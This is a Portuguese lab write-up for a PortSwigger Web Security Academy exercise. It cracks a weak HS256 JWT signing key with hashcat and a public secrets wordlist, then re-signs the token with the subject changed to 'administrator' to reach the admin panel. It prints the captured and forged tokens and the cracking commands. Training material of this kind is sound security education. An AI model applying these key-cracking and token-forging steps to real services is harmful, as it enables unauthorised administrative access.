> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# Bypass de autenticação JWT com uma chave fraca

Notas sobre bypass de autenticação JWT com uma chave fraca para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Bypass de autenticação JWT via chave de assinatura fraca

**Descrição do laboratório**

Este laboratório usa um mecanismo de sessão baseado em JWT. / A chave secreta usada para **assinar e verificar tokens é extremamente fraca**, permitindo que **ser quebrada facilmente** usando uma lista de segredos comuns.

Objetivo:

* Encontre a chave secreta usada pelo servidor. \*Forje um JWT válido com essa chave para acessar o `/admin` painel de administração.
* Excluir usuário **carlos**.

Credenciais fornecidas\:/ `wiener:peter`

\*\* JWT inicial recuperado\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

Observa-se que o algoritmo utilizado é **HS256**, portanto um **algoritmo simétrico** baseado em um segredo compartilhado.

**Força bruta na chave secreta**

Usamos uma lista de segredos JWT comuns:

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

Em seguida, inicie o ataque por força bruta com **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e42e813a74582a3d5ade394ffd29fbb5e32f82ef%2Fimage%20(176).png?alt=media" alt=""><figcaption></figcaption></figure>

Resultado:

* Chave secreta encontrada: **`secret1`**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e90e2ef974acff2e13001c29fccbe60c5ccf1b0%2Fimage%20(177).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0908f5bba13fd560518bbf3f325a27e6046e56da%2Fimage%20(178).png?alt=media" alt=""><figcaption></figcaption></figure>

**Preparação da chave para assinatura**

O **Editor JWT** a extensão espera a chave em formato Base64.

Codificação da chave:

```bash
c2VjcmV0MQ==
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62cd648c9352c41fb24000959c6a3dc1fabaab17%2Fimage%20(179).png?alt=media" alt=""><figcaption></figcaption></figure>

Criando uma chave simétrica no JWT Editor:

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-923df56ec7c3033d6218977884c33b4113bfdd05%2Fimage%20(180).png?alt=media" alt=""><figcaption></figcaption></figure>

Um ID de chave (`kid`) é então gerado e usado para assinar o token.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1f6c6990d9b028a08ca84c95db4da725f9085d%2Fimage%20(181).png?alt=media" alt=""><figcaption></figcaption></figure>

**Modificação do JWT**

* Interceptação da requisição contendo o JWT.
* Altere o `sub` campo:
* `wiener` → `administrator`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e71d1b637e3795c1bc7a7e32a8db761ff9e9e479%2Fimage%20(182).png?alt=media" alt=""><figcaption></figcaption></figure>

Reassinatura do token com a chave secreta encontrada

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a1f2c1adba3c60fa3744add479111444d7fc8d7%2Fimage%20(183).png?alt=media" alt=""><figcaption></figcaption></figure>

JWT forjado final:

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**Resultado**

* O servidor aceita o JWT assinado com a chave fraca.
* Acesso bem-sucedido ao `/admin` painel.
* O usuário é reconhecido como \*\*administrador\*\*.
* O laboratório é validado após a remoção do usuário **carlos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c74eee1bf826cc0f74eff3c38b88b2a0b1d8e0c%2Fimage%20(184).png?alt=media" alt=""><figcaption></figcaption></figure>


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